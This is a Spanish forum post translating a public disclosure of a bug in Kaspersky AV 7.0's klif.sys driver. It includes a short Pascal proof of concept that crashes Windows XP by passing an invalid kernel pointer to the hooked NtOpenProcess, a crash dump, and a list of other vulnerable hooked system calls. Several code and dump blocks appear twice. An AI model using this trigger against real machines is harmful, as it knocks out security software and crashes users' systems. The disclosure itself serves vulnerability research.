El objetivo principal de este exploit es hacer una llamada a NtOpenProcess con parámetros inválidos. Esta función esta hookeada por el driver de Kaspersky llamado klif.sys y la razón para el hook es obia (Esta es la manera en que Kaspersky AV se protege de accesos no autorizados que pudieran cerrar el proceso, esta es una practica muy usada por diferentes tipos de rootkits y malware)
Este es el prototipo de la función:
Código:
NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );
Y este es un pequeño exploit escrito en Pascal:
Código:
var
ob1: OBJECT_ATTRIBUTES;
p1: DWORD;
begin
ob1.Length := sizeof(ob1);
NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;
Verificado en el driver klif.sys de la versión 6.12.10.280 y debe funcionar también en las anteriores.ob1: OBJECT_ATTRIBUTES;
p1: DWORD;
begin
ob1.Length := sizeof(ob1);
NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;
Como se observa en el código, el ultimo parámetro es la dirección de la estructura CLIENT_ID, la cual apunta hacia una región aleatoria dentro de la memoria del kernel.
Si lanzamos el exploit en una instalación limpia de Windows XP, sin Kaspersky AV, no hay BSOD(Blue Screen Of Death o Pantallazo Azul de Windows).
Si lanzamos el exploit en un Windows XP protegido por Kapersky AV 7.0 inmediatamente obtenemos un pantallazo azul con el mensaje PAGE_FAULT_IN_NONPAGED_AREA.
Te preguntarás ¿porque ocurre esto? la respuesta es muy sencilla. Supongo que el código fuente de el hook en NtOpenProcess es algo similar a esto:
Código:
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
__try
{
if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;
else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
__except (EXCEPTION_EXECUTE_HANDLER)
{
... stuff here ...
}
}
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
__try
{
if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;
else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
__except (EXCEPTION_EXECUTE_HANDLER)
{
... stuff here ...
}
}
El gran error aquí es ClientId->UniqueProcess, ya que ClientId es un PUNTERO a una estructura. El hecho de acceder a una región invalida de memoria produce inmediatamente un pantallazo azul con el mensaje PAGE_FAULT_IN_NONPAGED_AREA.
El exploit original creado por Ms-Rem en el 2005 consiste en lo siguiente:
Código:
NtOpenProcess(NULL, (HANDLE)0, NULL, NULL);
Ahora como podrás observar, los desarrolladores de Kaspersky AV han usado un bloque try/except, y parece que desconocen otras funciones de handling. Esperemos que descubran el fabuloso programa llamado NtCall y corrijan su bug:
Código:
******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
MODULE_NAME: klif
FAULTING_MODULE: 804d7000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 46260f1c
READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000
FAULTING_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
MM_INTERNAL_CODE: 0
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
BUGCHECK_STR: 0x50
LAST_CONTROL_TRANSFER: from f941b39a to f941840c
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
SYMBOL_STACK_INDEX: 0
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: klif.sys
SYMBOL_NAME: klif+1940c
BUCKET_ID: WRONG_SYMBOLS
Followup: MachineOwner
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
MODULE_NAME: klif
FAULTING_MODULE: 804d7000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 46260f1c
READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000
FAULTING_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
MM_INTERNAL_CODE: 0
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
BUGCHECK_STR: 0x50
LAST_CONTROL_TRANSFER: from f941b39a to f941840c
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]
SYMBOL_STACK_INDEX: 0
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: klif.sys
SYMBOL_NAME: klif+1940c
BUCKET_ID: WRONG_SYMBOLS
Followup: MachineOwner
Algunos descubrimientos hechos por UG North muestran que hay otras funciones que también están hookeadas por klif.sys las cuales pueden ser explotadas con ataques similares.
Lista de entradas en la SSDT (System Service Descriptor Table) explotables (Windows XP con Kapersky AV 7.0.0.55):
Citar
==================================
|[Idx] [nombre de la función] |
==================================
|[41 ] NtCreateKey
|[47 ] NtCreateProcess
|[48 ] NtCreateProcessEx
|[50 ] NtCreateSection
|[52 ] NtCreateSymbolicLinkObject
|[53 ] NtCreateThread
|[65 ] NtDeleteValueKey
|[99 ] NtLoadKey2
|[119] NtOpenKey
|[122] NtOpenProcess
|[125] NtOpenSection
|[177] NtQueryValueKey
==================================
Cualquier llamada a esas funciones con parámetros invalidos, llevara a un BSOD.
Este tipo de exploit fue descubierto por Ms-Rem en el 2005 y funciona para KAV 5.0
Como demuestra este exploit, funciona para todas la versiones de Kaspersky Antivirus incluyendo la nueva versión Kaspersky AV 7.0.
¿Realmente aún crees que estas protegido?

Mensaje originalmente en inglés de EP_X0FF y UG North:
http://forum.sysinternals.com/forum_posts.asp?TID=10991&PID=49017#49017









Autor





En línea


Creo recordar que eran unos que no te daban errores pero no funcionaban bien, hablamos por mail de eso.